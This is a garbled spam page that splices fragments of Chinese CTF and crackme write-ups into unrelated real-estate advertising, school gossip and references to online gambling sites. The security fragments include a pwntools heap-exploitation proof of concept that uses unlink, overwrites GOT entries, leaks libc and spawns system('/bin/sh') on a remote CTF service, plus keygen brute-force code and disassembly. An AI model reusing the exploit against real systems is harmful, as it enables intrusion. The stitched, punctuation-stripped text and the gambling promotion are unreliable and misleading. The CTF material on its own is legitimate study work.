ayload1+=p64(fd)#free_got_pltpayload1+=p64(bk)payload1+=A*(FIRST_TRUNK_SIZE-8*4)payload1+=p64(len(payload1))#size=len(payload1)overflowertoindex=1payload1+=p64(SECOND_TRUNK_SIZE+0x10)#value=thistrunksize+prevtrunkflag=0x80+0x10+0edit(0,payload1)raw_input(unlink)#unlinktheng_dest_list[0]=g_dest_list-0x18free(1)#editindex=0address=0x6020c8edit_paylaod=edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(0)edit_paylaod+=p64(free_got_plt)#g_dest_list[0]forchangefree_got_plttoputs_plttoleakedit_paylaod+=p64(1)#g_dwFlag[0]edit_paylaod+=p64(puts_got_plt)#g_dest_list[1]puts_got_pltForleakputs_got_pltaddressedit_paylaod+=p64(1)#g_dwFlag[1]edit_paylaod+=p64(atoi_got_plt)#g_dest_list[2]atoi_got_pltForchageatoitosystemedit_paylaod+=p64(1)#g_dwFlag[2]#edit(0,p64(0)+p64(0)+p64(0)+p64(free_got_plt)+p64(1)+p64(0x602058)+p64(1)+p64(0x602058))edit(0,edit_paylaod)#raw_input(changefree_got_plttoputs_plt)edit(0,p64(puts_plt))#leakputs_got_plt#raw_input(leakputs_got_pltaddr)xx=free(1)str_puts_addreess=xx[0:6]printstr_puts_addreessstr_puts_addreess=str_puts_addreess+\x00\x00raw_input(calcsystemaddress)ifg_local:system_address=u64(str_puts_addreess)-0x6f690+0x45390else:system_address=u64(str_puts_addreess)-0x6cee0+0x41fd0printsystem_address,hex(system_address)#chageatoiraw_input(chageputs_got_plttosystem_address)edit(2,p64(system_address))#runsystem(/bin/sh)(/bin/sh)#()test_unlink()raw_input()上传的附件:2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。bbin电子游戏,者:(编程解码)(动态调试)骤:代码,定位主要流程。(坊间传言,2017明德从百外挖了一批优秀班主任。坪山将不断加大投入,营造良好的营商环境和生活环境,推动高端创新资源集聚,促进坪山实体经济发展。 所以继续往后看,发现奇怪之处。2009年的中考,福外更是刷新了福田区中考记录。众所周知,深圳开发用地日益稀缺,在近几年的土地供应计划中,产业用地占了大头,2017年,全市共成功出让42宗土地,成交金额为亿元,相比2016年57宗、亿元大幅萎缩。return16;}//CRC32编码intgetTheKey2(unsignedchar*buf,intbufsize){DWORDret=-1;DWORD*bb=(DWORD*)aa;for(inti=0;ibufsize;i++){intxt=(ret0xff)^buf[i];ret=bb[1+xt]^(ret}return~ret;}unsignedcharbuf[4]={0};intget2(DWORDa){DWORDconfirm1=0x9e;//0x9eb3acb8==~0x614C5347DWORDconfirm2=0xb3;DWORDconfirm3=0xac;DWORDconfirm4=0xb8;DWORDtmp,x[4]={0};inti,y[4]={0};DWORD*bb=(DWORD*)aa;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm1){x[0]=bb[i];y[0]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm2=confirm2^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm2){x[1]=bb[i];y[1]=i;break;}}tmp=x[0]tmp=tmp0xff;confirm3=confirm3^tmp;tmp=x[1]tmp=tmp0xff;confirm3=confirm3^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm3){x[2]=bb[i];y[2]=i;break;}}tmp=x[0];tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[1]tmp=tmp0xff;confirm4=confirm4^tmp;tmp=x[2]tmp=tmp0xff;confirm4=confirm4^tmp;for(i=1;i=0x100;i++){tmp=bb[i]if(tmp==confirm4){x[3]=bb[i];y[3]=i;break;}}DWORDret=a;//0x32f38783;for(i=3;ii--){buf[3-i]=((ret0xff)^y[i]-1);ret=x[i]^(ret}return0;}//FNV-1aHash运算DWORDgetTheKey3(unsignedchar*buf,intbufsize){DWORDret=0x811C9DC5;for(inti=0;ibufsize;i++){DWORDxx=(DWORD)buf[i];ret=0x1000193*(ret^xx);}returnret;}intget3(DWORDa){unsignedchardd[4]={0x5C,0xA4,0x88,0xC9};DWORDret=a;inti,j;for(i=0;;i++)//614C5347-A19947FD-CE19CA2F-92F5E675-F4659CD7-0D33122D-F32BF53F-66263925-7BDE6D67-127F995D-CDAA8F4F-8379C0D5{for(j=0;jj++){DWORDxx=(DWORD)dd[j];ret=0x1000193*(ret^xx);//359C449B(1000193^-1)}if(ret==0x614C5347||ret==a)//0x614C5347{break;}}if(ret==0x614C5347){returni;}else{return-1;}}for(unsignedchari=0;i0xff;i++){bbuf[xs-1]=i;DWORDyy1=getTheKey2(bbuf,xs);get2(yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];//DWORDyy1=sub_1244(bbuf,xs);DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);if(udd!=-1){printf(%02X%08X,i,udd);}}bbuf[xs-1]=0x20;DWORDyy1=getTheKey2(bbuf,xs);get2(~yy1);bbuf[xs]=buf[0];bbuf[xs+1]=buf[1];bbuf[xs+2]=buf[2];bbuf[xs+3]=buf[3];DWORDyy2=getTheKey3(bbuf,xs+4);intudd=get3(yy2);unsignedchar*memm=(unsignedchar*)malloc(udd*4+8+xs);memcpy(memm,bbuf,xs+4);for(inti=0;i=udd;i++){memm[xs+4+i*4+0]=0x5C;memm[xs+4+i*4+1]=0xA4;memm[xs+4+i*4+2]=0x88;memm[xs+4+i*4+3]=0xC9;}fp=fopen(zapus_,wb);fwrite(memm,udd*4+8+xs,1,fp);fclose(fp);上传的附件:,其实就是对输入分别与下面这一串异或,返回结果。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198,)层层传来的数据是否大于(其实此时就是),大于则。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。按照产业兴旺、生态宜居、乡风文明、治理有效、生活富裕的总要求,对统筹推进农村经济建设、政治建设、文化建设、社会建设、生态文明建设和党的建设作出全面部署。。此次针对女性房东个人属性标签的统计还发现,在国内一线城市中,八成以上女性房东为已婚,但%的女性尚未生育。,新年伊始,受元旦以及即将到来的春节假期影响,置业者入市渐转消极,1月全市无住宅项目取得预售许可证入市。他为什么比较理想?我说几个小故事。新地块即将迎来热抢,目前正是购房的绝佳时机,奥园·翡翠东湾地处热土之上,优越的产品打造及性价比优势,是你晋深置业的好选择。开发商在宽松的货币环境下,拿着8成的借贷资金,在并购市场、土地市场上大杀四方。 2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。)层连接,程序直接退出,故肯定有反调试手段。一个不争的事实已经出现——开发商的主要资金来源之一——开发贷被暂停了!2、被暂停的不止开发贷,如今的开发商已被紧紧扼住了喉咙。,  1月13日,雅居乐民森迪茵湖小镇迎来盛事——首期组团“在水一方”正式发售,推出建面约76㎡两房、93㎡三房、110㎡三房、123㎡与155㎡复式产品,推售1/2/3/5/6/8/9/10栋,推售均价12000-14000元/平米。(自有品牌的提供品牌注册证明或品牌核准证明、加盟品牌的提供有效期内的加盟授权书或其它能够证明其拥有品牌独立进行经营的相关资料)3、截至投标日时,投标人至少有1家相同或以上面积及同品牌的分店正在运营。,值得关注的是,坪山文化中心今年投入使用,同时还将建成5个“坪山城市书房”。其实就是对输入分别与下面这一串异或,返回结果。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535处将用代替,将处修改为,即可绕过,直接调试主进程。至此,这个在科锐从“被发现”到“被消灭”的bug,被我们用人肉的方法光荣消灭。,4、2018年1月份楼盘成交龙虎榜之龙岗区龙岗区成交量TOP10根据深圳房地产信息网的监测,佳兆业未来城以17754平方米/184套取得了1月份龙岗区成交量冠军,市场参考价49000元/平方米;卓越星源1月成交15339平方米/177套,位居亚军,市场参考价38000元/平方米;京基御景中央1月成交13299平方米/121套,位居季军,市场参考价46000元/平方米。事情的起因是这样的,前两天去xxx公司面试,被问道这样一个问题:PsExec是怎么以系统权限运行程序的?首先在当前Session下以系统权限运行一个程序的命令行如下:打开IDA先从参数入手,看一下这几个参数是怎么处理的可以看到它们被记录到了三个个全局变量里面,通过ida的交叉引用发现一处使用的地方简单分析sub_404920函数后,开头内容如下:通过这些信息,明确了一点,PsExec从资源文件中提取出了一个服务,并创建且运行了该服务程序。,海陆空交通发达便捷,西丽高铁枢纽已经列入了全国“八纵八横”高铁网!南山的确有骄傲的理由啊~2、福田区2017年GDP预计3820亿元,增长%左右;虽说GDP不敌南山,但福田依旧宝刀未老,从税收来看,2017年福田区税收总额亿元,位居全市各区第一。、www.vns688877.com、融360房贷分析师李唯一表示,江苏省下辖的南京市、苏州市、无锡市首套均已大范围执行基准上浮15%,表现出的区域特征较强,未来可能会有更多银行跟进执行首套基准上浮15%。 ,    有人说,年味淡了;有人说,怀念从前。此外,12月6日,广东省政府已正式通过东莞滨海湾新区建设工作方案,明确了滨海湾新区作为粤港澳协同发展先导区的定位。主要包括房地产开发、物业经营与服务、海外电信运营及移动互联网、大数据、金融服务、休闲娱乐等业务版块。未来福田滨河大道以南的旧改力度是相当大的,正在进行的大金沙旧改,保税区也已经纳入18大重点发展区域,另外皇岗口岸的落马洲规划,同时皇岗口岸的重建也在酝酿中。2.算法:004021A0C68424A0020000MOVBYTEPTRSS:[ESP+0x2A0],0x75004021A8C68424A1020000MOVBYTEPTRSS:[ESP+0x2A1],0x69004021B0C68424A2020000MOVBYTEPTRSS:[ESP+0x2A2],0x72004021B8C68424A3020000MOVBYTEPTRSS:[ESP+0x2A3],0x65004021C0889C24A4020000MOVBYTEPTRSS:[ESP+0x2A4],,4243CLEAEAX,DWORDPTRSS:[ESP+0x3C]_getglobal004021FC57PUSHEDI注册码004021FD56PUSHESIL*_pushstring00_pcall0040220B83C438ADDESP,0x380040220E85C0TESTEAX,,EAX004022165BPOPEBX004022178B8C249C020000MOVECX,DWORDPTRSS:[ESP+0x29C]0040221E33CCXORECX,,0x2A00040222BC3RETN0040222C55PUSHEBP0040222D6AF4PUSH-0xC第一个取第一个返回的字符004022358BF8MOVEDI,EAX第一个004022376AF5PUSH-0xB0040223956PUSHESI0040223A83F705XOREDI,0x5第一个返回的字符异或,EAX004022446AF6PUSH-0xA0040224656PUSHESI0040224783F312XOREBX,,EAX004022516AF7PUSH-0x90040225356PUSHESI0040225483F50AXOREBP,,0x290040225F6AF8PUSH-0x80040226156PUSHESI0040226289442458MOVDWORDPTRSS:[ESP+0x58],,0x420040226E6AF9PUSH-0x70040227056PUSHESI0040227189442448MOVDWORDPTRSS:[ESP+0x48],,0x410040227D6AFAPUSH-0x60040227F56PUSHESI0040228089442460MOVDWORDPTRSS:[ESP+0x60],,0x750040228C6AFBPUSH-0x50040228E56PUSHESI0040228F89442460MOVDWORDPTRSS:[ESP+0x60],,0x400040229B83F061XOREAX,0x610040229E6AFCPUSH-0x4004022A056PUSHESI004022A189442418MOVDWORDPTRSS:[ESP+0x18],,0x35004022AD6AFDPUSH-0x3004022AF56PUSHESI004022B089442424MOVDWORDPTRSS:[ESP+0x24],,0x83004022BE6AFEPUSH-0x2004022C056PUSHESI004022C189442434MOVDWORDPTRSS:[ESP+0x34],,0x55004022CD6AFFPUSH-0x1004022CF56PUSHESI004022D089442444MOVDWORDPTRSS:[ESP+0x44],,0x94004022DE6AF3PUSH-0xD004022E056PUSHESI004022E189442454MOVDWORDPTRSS:[ESP+0x54],,0x2C004022F383FF18CMPEDI,,,:[ESP+0x30],:[ESP+0x18],:[ESP+0x28],:[ESP+0x20],:[ESP+0x10],:[ESP+0x14],:[ESP+0x1C],:[ESP+0x24],:[ESP+0x2C],,DWORDPTRDS:[EDI-0x17],EAX0040234E8B8C24AC020000MOVECX,DWORDPTRSS:[ESP+0x2AC]004023555DPOPEBP004023565FPOPEDI004023575EPOPESI004023585BPOPEBX0040235933CCXORECX,,0x2A000402366C3RETN算法就这一段,c调用luajit。1月31日,小猪短租发布年度数据报告,显示了2017年住宿分享在城市、人与房屋方面的变化。sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。,△中泰集团董事总裁高鹏飞运球突破△篮球健儿拼抢攻守配合默契虽然是友谊赛,但双方队员依旧施展浑身解数,运球投篮一气呵成,激烈程度不亚于职业联赛,篮球健儿们拼尽全力打好篮球赛,最后交出完美成绩!△篮球健儿急停跳投争抢篮板  点滴高标准汇集高品质中泰人认真对待工作生活中的每一场“比赛”、每一份成绩!打篮球如此,打造理想家园更是如此!中泰集团创立于1992年,在地产行业已深耕26载,这两年发展尤其迅猛,全国开发项目基本都成为当地标杆,原因何在?中泰集团董事总裁高鹏飞曾表示:“中泰集团是一家坚持高标准、高要求,追求高品质的企业。https:///x/page/(2018中泰集团年度营销盛典精彩回顾)  盛典现场高朋满座,群英荟萃。  无联不成春,有联春更浓;手写春联,是笔尖上陈久弥香的年味,是民俗中传承千年的宝藏,更是记忆里红红火火的福祉。于是,一大批缺乏实力、没有经验、负债累累的中小型房企死去,行业被集中在若干个大型房企中,既方便管理,又风险可控。 ,80后成为最能赚钱的房东群体从短租房东的人员构成情况来看,90后房东正逐年增加,短租用户年轻化趋势愈加明显。住宿情况:纯走读,无住宿。教育方面,北理莫斯科大学正式开学,龙岗大学城也引进诸多名校。,㎡大阳台宽敞实用,主卧套间米空间舒适自然通透,所有次卧达到3米开间具有良好的居住舒适度。长期以来,由于人们消费观念的局限和“租售不同权”存在,房地产市场发展很不平衡。上传的附件:。

深圳一名年轻人分享了一个后悔的决定。2018年,虎门将以交通拉开虎门发展新格局,构筑虎门产业新高地。,privatestaticuintConvertBytesToUInt(byte[]input,intpos){//=(uint)(input[pos])+(uint)(input[pos+1]0x8)+(uint)(input[pos+2]0x10)+(uint)(input[pos+3]0x18);returnnum;}privatestaticbyte[]ConvertUIntToBytes(uintx){byte[]dst=newbyte[4];for(inti=0;i4;i++){dst[i]=(byte)(x0xff);x=x8;}returndst;}privatestaticbyte[]CombineBytes(byte[]bytes1,byte[]bytes2){byte[]dst=newbyte[+];(bytes1,0,dst,0,);(bytes2,0,dst,,);returndst;}privatestaticuint[]Code(uint[]v,uint[]k){uintnum=v[0];//0x54d6f3eauintnum2=v[1];//0x1e865afcuintnum3=0;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num+=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);num3+=num4;num2+=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);}returnnewuint[]{num,num2};//0xbfd3b3350xcc918c5e}publicstaticbyte[]Encrypt(byte[]input){uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};byte[]buffer=newbyte[0];intlength=;byte[]buffer2=newbyte[8];intnum2=7-(length%8);buffer2[0]=(byte)num2;for(inti=0;inum2;i++){buffer2[i+1]=(byte)((200+num2)-i);}for(intj=0;j(7-num2);j++){buffer2[(j+num2)+1]=input[j];}uint[]v=newuint[]{ConvertBytesToUInt(buffer2,0),ConvertBytesToUInt(buffer2,4)};v[0]^=k[0];v[1]^=k[2];v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));for(intm=7-num2;mlength;m+=8){v[0]^=ConvertBytesToUInt(input,m);v[1]^=ConvertBytesToUInt(input,m+4);v=Code(v,k);buffer=CombineBytes(CombineBytes(buffer,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}returnbuffer;}privatestaticuint[]InvCode(uint[]v,uint[]k){uintnum=v[0];uintnum2=v[1];uintnum3=0xc6ef3720;uintnum4=(((double)(((,)-)*(,))));uintnum5=0x20;while(num5--0){num2-=((num4)^((num5)+num))^(num3+k[(ushort)((num311)3)]);num3-=num4;num-=((num24)^((num25)+num2))^(num3+k[(ushort)(num33)]);}returnnewuint[]{num,num2};}intrNum=0x1be8;byte[]rData=newbyte[rNum];byte[]wData=newbyte[0];FileStreamrFile=newFileStream(,);FileStreamwFile=newFileStream(,);(rData,0,rNum);uintx0=0,x1=0,x00=0,x11=0;uint[]k=newuint[]{0x54d6f3ea,0x15ac3f5d,0x1e865afc,0x6583a5b1};for(inti=0;irNum;i=i+8){uint[]v=newuint[]{ConvertBytesToUInt(rData,i),ConvertBytesToUInt(rData,i+4)};x00=v[0];x11=v[1];v=InvCode(v,k);if(i==0){v[0]^=k[0];v[1]^=k[2];}v[0]^=x0;v[1]^=x1;x0=x00;x1=x11;wData=CombineBytes(CombineBytes(wData,ConvertUIntToBytes(v[0])),ConvertUIntToBytes(v[1]));}for(inti=0;irNum-7;i++){wData[i]=wData[i+7];}(wData,0,rNum-7);上传的附件:(提供合同等运营证明材料复印件,门店照片,原件备查)4、竞标人承诺经营品牌不做更改,若涉及商标侵权等自行承担责任。。线上赌博目前,坪山区住宅备案价总体在4万元/㎡左右,录得的最高备案价出现在泰富华·天峦湖花园,其5栋2单元两套住宅备案价85551元/㎡,而就在这次成功出让的G11336-0068地块800米处,某新盘预计最高备案价或将超过10万元/㎡。Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198(自有品牌的提供品牌注册证明或品牌核准证明、加盟品牌的提供有效期内的加盟授权书或其它能够证明其拥有品牌独立进行经营的相关资料)3、截至投标日时,投标人至少有1家相同或以上面积及同品牌的分店正在运营。,里面涉及了两个结构体,分别是accountInfo和roleInfo,其实后面的游戏里还有一个物品信息的结构体,不过解题没用上,就不写了。、详细过程已更新,详见附件,贴上poc:frompwnimport*importbinasciiimporttime#PediyCTF{n0_pwn_n0_fun_233}g_local=_level=debugsh=0ifg_local:sh=process(./pediy)#print_log(attchbyida.....)raw_input(idahasattchPressanykeyforcontinue...)else:sh=remote(,51888)defwelcome():($)#paylaod=p64(0)+p64(0x21)+A*16#(paylaod)(pediy)($)printwelcome()deffree(id):(2)(1024)(str(id))(1)(2048)defcreate(size,id,context):(1)(1024)(str(size))(1024)(str(id))(1024)(str(context))($)defedit(id,payload):(3)(1024)(str(id))(1024)(payload)(2048)deftest_Double_free():create(16,0,sssss)create(16,1,xxxxxxxxxxx)free(0)free(1)free(0)print(writenewtrunkaddress:)xx=raw_input(newaddress:)payload=p64(int(xx,16))+A*12create(16,0,payload)raw_input()create(16,0,1111111111111)create(16,0,payload)create(16,0,1111111111111)raw_input()create(16,0,1111111111111)create(16,0,1111111111111)create(16,0,1111111111111)deftest_2():create(16,0,sssss)free(-2)print(writenewtrunkaddress:)payload=p32(0x6020e8)+xxxxxxxxxxcreate(20,0,payload)g_dest_list=0x6020e0free_got_plt=0x602018puts_got_plt=0x602020puts_plt=0x4006d0atoi_got_plt=0x602058fd=g_dest_list-0x18bk=g_dest_list-0x10deftest_unlink():FIRST_TRUNK_SIZE=0x80SECOND_TRUNK_SIZE=0x80create(FIRST_TRUNK_SIZE,0,1*FIRST_TRUNK_SIZE)create(SECOND_TRUNK_SIZE,1,2*SECOND_TRUNK_SIZE)#freeg_dwSizeAryfree(-2)#raw_input(changesize)#malloc--returng_dwSizeAryaddress,thenchangethesize#p